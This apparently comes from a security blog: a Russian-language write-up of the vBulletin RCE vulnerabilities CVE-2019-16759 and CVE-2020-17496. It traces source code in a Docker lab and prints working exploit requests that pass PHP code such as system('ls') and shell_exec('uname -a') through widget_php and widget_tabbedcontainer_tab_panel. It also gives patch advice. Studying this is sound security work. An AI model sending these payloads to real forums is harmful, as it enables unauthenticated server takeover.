Как взломать форум на движке vBulletin

Как взломать форум на движке vBulletin

Примерно год назад я писал об уязвимости в форуме vBulletin, которая давала любому пользователю возможность выполнять произвольные команды в системе и была больше похожа на бэкдор. Тогда разработчики оперативно исправили баг, и вот в конце августа 2020 года была найдена возможность обойти патч и вновь воспользоваться этой уязвимостью. Эта статья раскажет вам как взломать форум с помощью этой уязвимости.
Как взломать форум на движке vBulletin
 

vBulletin — это продвинутый форумный движок, который позволяет множеству пользователей общаться между собой. Из-за стремительного роста популярности мессенджеров форумы в 2020 году уже не так актуальны, но если и попадаются во время тестирования, то в двух случаях из трех это будет именно vBulletin.

Вкратце баг заключается в следующем: виджет tabbedcontainer_tab_panel разрешает загружать дочерние виджеты и передавать им произвольные параметры. С помощью специально сформированного запроса злоумышленник может вызвать widget_php и удаленно выполнить произвольный код на PHP тем самым взломать форум.

Уязвимость получила статус критической и была срочно исправлена разработчиками.

Баг обнаружил Амир Этемадие (Amir Etemadieh), более известный как @Zenofex. Уязвимости присвоен номер CVE-2020-17496. Проблема существует в vBulletin с версии 5.5.4 до 5.6.2. Эксплуатация возможна из-за неполного исправления уязвимости CVE-2019-16759.

Сегодня я рассмотрю, как vBulletin работает с роутингом запросов, как работают виджеты и их шаблоны, и, конечно же, разберем детали уязвимости и проэксплуатируем систему.

 

Стенд для взлома форума vBulletin

Для тестового окружения, как всегда, будем использовать Docker. Сначала создадим контейнер для базы данных. Я воспользуюсь MySQL.

docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7

Затем запустим контейнер, на котором будет располагаться веб-сервер и сам форум. Не забываем слинковать его с БД.

docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash

В качестве сервера я буду использовать Apache. Поэтому установим его и PHP с необходимыми модулями.

apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd

Включаем модуль mod-rewrite и запускаем Apache.

a2enmod rewrite
service apache2 start

Теперь нужно установить vBulletin. Продукт коммерческий, и я здесь не стану рассматривать, как его получить. Все тесты будем проводить на последней уязвимой версии — 5.5.6. Распаковываем ее в директорию /var/www/html и устанавливаем.

Начало установки vBulletin
Начало установки vBulletin

Если ты хочешь вместе со мной более подробно рассмотреть уязвимость и покопаться в сорцах, то неплохо бы настроить отладку. Я буду использовать связку Xdebug + PhpStorm.

Устанавливаем и активируем Xdebug. Делать это лучше после того, как vBulletin будет установлен, у меня были проблемы во время инсталляции, пришлось отключить.

apt update && apt install -y php-xdebug
phpenmod xdebug

Включаем удаленную отладку и указываем IP-адрес сервера. Обрати на него внимание, а также на пути к файлам — у тебя это все может быть другим.

echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini

Теперь перезагружаем веб-сервер.

service apache2 restart

В PhpStorm включаем ожидание коннекта от отладчика. Добавляем параметр XDEBUG_SESSION_START=phpstorm к запросу, если хотим, чтобы дебаггер сработал.

Включаем прослушивание соединений от Xdebug в PhpStorm
Включаем прослушивание соединений от Xdebug в PhpStorm

Стенд готов, и можно переходить к разбору уязвимости.

 

Обработка URI

Сначала посмотрим, как vBulletin обрабатывает запросы пользователя, а конкретно роуты.

.htaccess
01: <IfModule mod_rewrite.c>
02:     RewriteEngine On
...
39:     RewriteCond %{REQUEST_FILENAME} !-f
40:     RewriteCond %{REQUEST_FILENAME} !-d
41:     RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]

Проверяется, существует ли файл, и если нет, то указанный URI передается в качестве параметра routestring.

Как и большинство современных фреймворков, форум поддерживает автозагрузку классов через spl_autoload_register.

index.php
33: require_once('includes/vb5/autoloader.php');
34: vB5_Autoloader::register(dirname(__FILE__));
includes/vb5/autoloader.php
13: abstract class vB5_Autoloader
14: {
15:     protected static $_paths = array();
16:     protected static $_autoloadInfo = array();
17:
18:     public static function register($path)
19:     {
20:         self::$_paths[] = (string) $path . '/includes/'; // includes
21:
22:         spl_autoload_register(array(__CLASS__, '_autoload'));
23:     }

Затем начинается проверка переданного роута. Вызывается метод isQuickRoute.

index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
includes/vb5/frontend/applicationlight.php
079:    public static function isQuickRoute()
080:    {
...
091:        foreach (self::$quickRoutePrefixMatch AS $prefix => $route)
092:        {
093:            if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix)
094:            {
095:                return true;
096:            }
097:        }
098:
099:        return false;
100:    }

В переменной $quickRoutePrefixMatch хранятся префиксы роутов, которые должны обрабатываться при помощи quickRoute.

ajax/apidetach
ajax/api
ajax/render
Проверка роута в vBulletin 5.5.6
Проверка роута в vBulletin 5.5.6
 

Возвращение к истокам. Работа с виджетами, CVE-2019-16759 и ее патч

Обратимся к эксплоиту для прошлогодней уязвимости CVE-2019-16759.

POST /index.php HTTP/1.1
Host: vb.vh
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close

routestring=ajax/render/widget_php&widgetConfig[code]=system('ls');

Здесь в качестве routestring передается ajax/render/widget_php. Префикс как раз подходит под условие quickRoute. После этого вызывается $app->execute().

index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
38: {
...
41:     if ($app->execute())

Это главный метод, который передает управление на нужные участки кода, чтобы обработать запрос пользователя. В нашем случае вызывается обработчик callRender. Он запускает формирование ответа пользователю.

includes/vb5/frontend/applicationlight.php
161:  public function execute()
...
181:      $serverData = array_merge($_GET, $_POST);
182:
183:      if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
184:      {
185:          $app = $this->application['handler'];
186:          call_user_func(array($this, $app), $serverData);
Вызов обработчика callRender в vBulletin
Вызов обработчика callRender в vBulletin
includes/vb5/frontend/applicationlight.php
282:  protected function callRender($serverData)
283:  {
284:      $routeInfo = explode('/', $serverData['routestring']);

Далее в коде идет первый патч, который исправляет прошлогоднюю RCE.

includes/vb5/frontend/applicationlight.php
291:  $templateName = $routeInfo[2];
292:  if ($templateName == 'widget_php')
293:  {
294:      $result = array(
295:          'template' => '',
296:          'css_links' => array(),
297:      );
298:  }

Если имя запрошенного шаблона widget_php, то возвращается пустой массив. Пришло время поговорить о виджетах и их шаблонах. В vBulletin есть система виджетов (модулей), которые могут отображать разную информацию на сайте. Таким образом, страница сайта может состоять из некоторого количества таких вот блоков-виджетов со своими стилями и данными. Похожая штука сейчас есть в каждой уважающей себя CMS, так как это удобный и гибкий инструмент кастомизации.

Шаблоны всех виджетов описываются в файле vbulletin-style.xml. При установке форума они записываются в базу данных.

core/install/vbulletin-style.xml
<templategroup name="Module">
  <template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
  ...
  <template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">

Шаблоны не написаны на чистом PHP, а используют свой синтаксис, который сначала обрабатывается шаблонизатором. Он возвращает результат как строку кода на PHP, который затем проходит процесс «рендеринга». Во время этого данные попадают в функцию eval.

Так вот, среди вороха этих виджетов имеется widget_php. Этот модуль позволяет отображать результаты выполнения произвольного кода на PHP.

core/install/vbulletin-style.xml
  <template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
    {vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
  </vb:if>

  <vb:if condition="!empty($widgetConfig)">
    {vb:set widgetid, {vb:raw widgetConfig.widgetid}}
    {vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
  </vb:if>
  ...
  {vb:template module_title,
    widgetConfig={vb:raw widgetConfig},
    show_title_divider=1,
    can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
    <div class="widget-content">
      <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
        ...
        {vb:phpeval {vb:raw widgetConfig.code}}
        ...
      </vb:if>
    </div>
  </div>]]></template>

Здесь нас встречает еще одно последствие патча уязвимости. Обрати внимание на атрибут version. Это версия последнего обновления шаблона (5.5.5 Alpha 4). До патча часть кода с выполнением PHP выглядела несколько иначе.

vBulletin 5.5.3/core/install/vbulletin-style.xml
<div class="widget-content">
  <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
    {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
    {vb:raw $evaledPHP}
  <vb:else />

Об этом поговорим немного позже, здесь лишь осталось сказать, что с шаблонами работает класс vB_Template.

Теперь возвращаемся к эксплоиту CVE-2019-16759. Предположим, что у нас непатченная версия форума и скрипт выполняется дальше.

includes/vb5/frontend/applicationlight.php
301:  $this->router = new vB5_Frontend_Routing();
302:  $this->router->setRouteInfo(array(
303:      'action'          => 'actionRender',
304:      'arguments'       => $serverData,
305:      'template'        => $templateName,
...
310:      'queryParameters' => $_GET,
311:  ));
312:  Api_InterfaceAbstract::setLight();
313:  $result = vB5_Template::staticRenderAjax($templateName, $serverData);

Теперь управление передается в класс vB5_Template. Вызывается метод staticRenderAjax, а из него попадаем в более общий staticRender.

includes/vb5/template.php
16:   class vB5_Template
17:   {
...
731:    public static function staticRenderAjax($templateName, $data = array())
732:    {
733:        $rendered = self::staticRender($templateName, $data, true, true);
...
737:        return array(
738:            'template' => $rendered,
739:            'css_links' => $css,
740:        );

Следующий шаг — это сопоставление переменных в шаблоне виджета с теми, что были переданы в запросе пользователем. Напоминаю, что я передавал параметр widgetConfig[code]=system('ls');.

includes/vb5/template.php
703:  public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false)
704:  {
...
710:      $templater = new vB5_Template($templateName);
711:
712:      foreach ($data AS $varname => $value)
713:      {
714:          $templater->register($varname, $value);
715:      }
Сопоставление параметров из запроса переменным в шаблоне виджета
Сопоставление параметров из запроса переменным в шаблоне виджета
core/install/vbulletin-style.xml
  {vb:phpeval {vb:raw widgetConfig.code}}

После подгрузки необходимых классов мы попадаем в метод рендеринга шаблона.

includes/vb5/template.php
717:  $core_path = vB5_Config::instance()->core_path;
718:  vB5_Autoloader::register($core_path);
719:
720:  $result = $templater->render($isParentTemplate, $isAjaxTemplateRender);

Здесь мы встречаем очередную часть кода, которая патчит уязвимость, — метод cleanRegistered.

includes/vb5/template.php
341:  public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342:  {
...
350:      if($isParentTemplate)
351:      {
352:          $this->cleanRegistered();
353:      }
includes/vb5/template.php
128:  private function cleanRegistered()
129:  {
130:      $disallowedNames = array('widgetConfig');
131:      foreach($disallowedNames AS $name)
132:      {
133:          unset($this->registered[$name]);
134:          unset(self::$globalRegistered[$name]);
135:      }
136:  }

Здесь из зарегистрированных переменных шаблона удаляется widgetConfig, чтобы нельзя было напрямую из запроса изменять конфигурацию виджета. Как раз через эту переменную я передаю пейлоад на PHP.

Метод cleanRegistered для исправления уязвимости CVE-2019-16759
Метод cleanRegistered для исправления уязвимости CVE-2019-16759

Предположим, что этого метода у нас нет. Дальше инициализируется кеш vBulletin, и управление переходит к getTemplate.

includes/vb5/template.php
391:  $templateCache = vB5_Template_Cache::instance();
392:  $templateCode = $templateCache->getTemplate($this->template);
includes/vb5/template/cache.php
177:  public function getTemplate($templateId)
178:  {
179:
180:      if (is_array($templateId))
181:      {
182:          return $this->fetchTemplate($templateId);
183:      }
184:
185:      if (!isset($this->cache[$templateId]))
186:      {
187:          $this->fetchTemplate($templateId);
188:      }
189:
190:      if (isset($this->cache[$templateId]))
191:      {
192:          return $this->cache[$templateId];
193:      }

Этот метод сначала пытается найти уже сгенерированный код шаблона в кеше, и если такового не обнаруживается, то в дело вступает fetchTemplate.

includes/vb5/template/cache.php
207:  protected function fetchTemplate($templateName)
208:  {
...
216:          $method = 'fetch';
217:          $arguments = array('name' => $templateName);
218:      }
..
224:      $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments);

Вся магия происходит в этом вызове:

Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments)

Из псевдокода шаблона получается готовый код на PHP.

includes/api/interface/collapsed.php
084:  public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false)
085:  {
...
101:          $result = call_user_func_array(array(&$c, $method), $arguments);
core/vb/api/template.php
19: class vB_Api_Template extends vB_Api
20: {
...
49:     public function fetch($template_name, $styleid = -1)
50:     {
51:         return $this->library->fetch($template_name, $styleid);
52:     }
core/vb/library/template.php
19: class vB_Library_Template extends vB_Library
20: {
...
31:     public function fetch($template_name, $styleid = -1, $nopermissioncheck = false)
32:     {
...
50:         $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck);
Выполнение метода callApi. Получение шаблона виджета
Выполнение метода callApi. Получение шаблона виджета

В методе fetchBulk шаблон виджета подгружается из базы данных.

Загрузка шаблона виджета widget_php из базы данных
Загрузка шаблона виджета widget_php из базы данных
core/vb/library/template.php
68:   public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false)
69:   {
...
121:      if (!empty($templateids))
122:      {
123:          $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false,
124:              array('title', 'textonly', 'template_un', 'template'));
125:
126:          foreach ($result AS $template)
127:          {
128:              if ($type == 'compiled')
129:              {
130:                  $response[$template['title']] = $this->getTemplateReturn($template);
131:                  self::$templatecache[$template['title']] = $response[$template['title']];
132:              }

Результат записывается в кеш.

includes/vb5/template/cache.php
227:  if (is_array($response) AND isset($response['textonly']))
228:  {
...
252:  else
...
253:  {
257:      $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response);
258:      $this->cache[$templateName] = $response;

В случае с виджетом widget_php прошедший через шаблонизатор код выглядит так.

widget_php_rendered
01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) {
02:                     $final_rendered .= '
03:     ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . '
04: ';
05:                 } else {
06:             $final_rendered .= '';
07:         }$final_rendered .= '' . '
...
20:     ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '
...
22:     <div class="widget-content">
23:         ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
24:                     $final_rendered .= '
25:             ' . '' . '
26:             ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '
27:         ';
Сгенерированный шаблон виджета widget_php
Сгенерированный шаблон виджета widget_php

В строке 26 можно увидеть конструкцию vB5_Template_Runtime::evalPhp. Однако до патча эта часть кода выглядела несколько иначе. Как я упоминал, сам шаблон виджета имел другой вид.

vBulletin 5.5.3/core/install/vbulletin-style.xml
    {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
  <vb:else />

Эта конструкция обрабатывалась контроллером vB5_Frontend_Controller_Bbcode. В итоге вызывался обычный eval.

vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller
014: {
...
224:    function evalCode($code)
225:    {
226:        ob_start();
227:        eval($code);
228:        $output = ob_get_contents();
229:        ob_end_clean();
230:        return $output;
231:    }

В новой версии форума разработчики пересмотрели логику работы виджета. Добавили другой метод — vB5_Template_Runtime::evalPhp, который, по сути, также выполняет код, переданный в параметре widgetConfig['code'], с той лишь разницей, что сначала проверяет имя шаблона, где происходит попытка вызвать метод. И если он отличается от widget_php, то возвращается пустая строка.

includes/vb5/template/runtime.php
1992:  public static function evalPhp($code)
1993:  {
...
1996:      if (self::currentTemplate() != 'widget_php')
1997:      {
1998:          return '';
1999:      }
2000:      ob_start();
2001:      eval($code);
2002:      $output = ob_get_contents();
2003:      ob_end_clean();
2004:      return $output;
2005:  }

Такое решение должно усилить безопасность и запретить любым другим шаблонам передавать потенциально небезопасные данные в функцию eval.

После этого небольшого отступления возвращаемся к выполнению скрипта. Если код виджета успешно получен, то передаем его на выполнение.

includes/vb5/template.php
392:  $templateCode = $templateCache->getTemplate($this->template);
...
400:      eval($templateCode);
...
444:  vB5_Template_Runtime::endTemplate();
...
452:  return $final_rendered;
Выполнение PHP-кода шаблона widget_php
Выполнение PHP-кода шаблона widget_php

Пейлоад отрабатывает, и в ответе от сервера можно видеть результат выполнения функции system('ls').

Успешная эксплуатация уязвимости CVE-2019-16759 в vBulletin
Успешная эксплуатация уязвимости CVE-2019-16759 в vBulletin

Таким образом, возможность выполнять код через widget_php осталась, только теперь атакующий не может делать это напрямую. Это приводит нас к поиску обходных путей и новой уязвимости.

 

Детали CVE-2020-17496

Хочу обратить внимание, что виджеты не только могут не быть самостоятельными элементами, но и бывают вложенными. В один виджет может быть вложено несколько дочерних. То есть можно обрабатывать и отображать результаты работы других виджетов. Такая логика работы отлично вписывается в идею обхода ограничений, которые были добавлены патчем для CVE-2019-16759. Нужно только найти виджет, в шаблоне которого будет возможность вызывать дочерние. И Амир обнаружил такой — widget_tabbedcontainer_tab_panel.

core/install/vbulletin-style.xml
<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}

Виджет обрабатывает массив subWidgets, в котором ищет ключ template и подгружает шаблон указанного в нем виджета.

core/install/vbulletin-style.xml
  <vb:each from="subWidgets" value="subWidget">
    &nbsp;&nbsp;-- {vb:raw subWidget.template}
  </vb:each>

А с помощью ключа config можно передавать параметры в дочерний шаблон (обрати внимание на атрибут widgetConfig).

core/install/vbulletin-style.xml
  <vb:each from="subWidgets" value="subWidget">
    {vb:template {vb:raw subWidget.template},
      widgetConfig={vb:raw subWidget.config},
      widgetinstanceid={vb:raw subWidget.widgetinstanceid},
      widgettitle={vb:raw subWidget.title},
      tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules},
      product={vb:raw subWidget.product}
    }
  </vb:each>

Давай проверим это на каком-нибудь простеньком виджете.

core/install/vbulletin-style.xml
<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url%20'search'}?r={vb:raw%20nodes.resultId}" class="b-button">
  <vb:if condition="!empty($widgetConfig['view_all_text'])">
    {vb:var widgetConfig.view_all_text}
  <vb:else />
    {vb:phrase view_all}
  </vb:if>
</a>]]></template>

Здесь в качестве параметра можно передать view_all_text. Этот текст будет отображен в шаблоне как текст ссылки. Отправляем запрос.

curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!'

При рендеринге widget_tabbedcontainer_tab_panel в том месте, где будет дочерний виджет, вставляется плейсхолдер. Шаблон приобретает следующий вид.

<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
  <!-- ##template_widget_search2_viewall_link__calendar_0## -->
</div>

Затем вызывается метод replacePlaceholders, который, как видно из названия, проходит по шаблону, ищет плейсхолдеры, вызывает необходимые модули и вставляет результаты их работы в нужное место.

includes/vb5/template.php
421:  // always replace placeholder for templates, as they are process by levels
422:  $templateCache->replacePlaceholders($final_rendered);
Рендеринг вложенных виджетов в шаблоне
Рендеринг вложенных виджетов в шаблоне

Здесь используется точно такой же набор вызовов. Метод fetchTemplate получает шаблон виджета.

includes/vb5/template/cache.php
103:  public function replacePlaceholders(&$content)
104:  {
105:      // This function procceses subtemplates by level
106:
107:      $missing = array_diff(array_keys($this->pending), array_keys($this->cache));
108:      if (!empty($missing))
109:      {
110:          $this->fetchTemplate($missing);
111:      }

Затем в него передаются переменные. Так параметры из нашего POST-запроса попадают в шаблон.

includes/vb5/template/cache.php
125:  foreach ($levelPending as $templateName => $templates)
126:  {
127:      foreach ($templates as $placeholder => $templateArgs)
128:      {
129:          $templater = new vB5_Template($templateName);
130:          $this->registerTemplateVariables($templater, $templateArgs);
Передача переменных в дочерний шаблон
Передача переменных в дочерний шаблон

И снова рендеринг, но уже дочернего модуля.

includes/vb5/template/cache.php
132:  try
133:  {
134:      $replace = $templater->render(false);

Таким образом, та часть патча, где проверяется имя модуля, остается далеко позади.

includes/vb5/frontend/applicationlight.php
292:  if ($templateName == 'widget_php')
293:  {
294:      $result = array(
295:          'template' => '',
296:          'css_links' => array(),
297:      );

Но это еще не все, так как в этот раз и в ветку с методом cleanRegistered мы не попадаем. Это происходит из-за того, что вызов render был инициирован не родительским методом и переменная isParentTemplate установлена в false.

При рендеринге дочернего виджета cleanRegistered не вызывается и переменная widgetConfig не очищается
При рендеринге дочернего виджета cleanRegistered не вызывается и переменная widgetConfig не очищается
includes/vb5/template.php
341:  public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342:  {
...
350:      if($isParentTemplate)
351:      {
352:          $this->cleanRegistered();

Это значит, что widgetConfig будет в целости и сохранности. Еще одна часть фикса уязвимости миновала.

Дочерний виджет отрабатывает, и результат добавляется в родительский.

includes/vb5/template/cache.php
171:  $content = str_replace($placeholder, $replace, $content);
Дочерний виджет добавляется в родительский
Дочерний виджет добавляется в родительский

На выходе получается что-то вроде такого:

<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
  <!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button">
  HELLOTHERE
  </a><!-- END: widget_search2_viewall_link__calendar -->
</div>
Вызов произвольного дочернего виджета из родительского в vBulletin
Вызов произвольного дочернего виджета из родительского в vBulletin

Но это всё игрушки. Теперь пора взяться за серьезные вещи. Берем прошлогодний эксплоит и переделываем его прямой вызов на дочерний другого виджета.

subWidgets[0][template]=widget_php
subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;

Отправляем полученный результат на widget_tabbedcontainer_tab_panel.

curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;'

В ответ получаем результат выполненной на сервере команды.

Успешная эксплуатация RCE в vBulletin
Успешная эксплуатация RCE в vBulletin
 

Демонстрация уязвимости (видео)

 
 

Выводы

Сегодня мы затронули разные аспекты работы форумного движка vBulletin. Посмотрели на реализацию механизма виджетов и на их слабые стороны. На самом деле текущая реализация вызывает много вопросов с точки зрения безопасности. Парсинг псевдокода в PHP и выполнение его через функцию eval создает много потенциально узких мест. Например, любая неотфильтрованная или некорректно отфильтрованная переменная в шаблоне приведет к еще одной RCE. Нужно внимательно следить за корректностью формирования кода шаблона, фильтрация XSS превращается в настоящую головную боль.

Сейчас баг исправлен разработчиками, так что, если ты админишь форум на этом движке, спеши обновиться или установить патчи.

Как временную меру могу посоветовать отключить рендеринг PHP в виджетах. Как ты, возможно, заметил, в шаблоне встречалась проверка опции disable_php_rendering.

  <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">

Для этого нужно зайти панель администратора, в раздел основных настроек, и включить опцию Disable PHP, Static HTML, and Ad Module rendering.

Временная мера для CVE-2020-17496. Отключение модулей, исполняющих PHP-код
Временная мера для CVE-2020-17496. Отключение модулей, исполняющих PHP-код

Это, конечно, может поломать что-то на твоем форуме, зато его не поломает кто-то со стороны. По крайней мере, не с помощью этого эксплоита!

Click to rate this post!
[Total: 1 Average: 5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Как взломать форум на движке vBulletin

  • Читаю Ваши статьи без остановки, очень познавательно. Спасибо большое за Ваши старания

Leave a reply:

Your email address will not be published.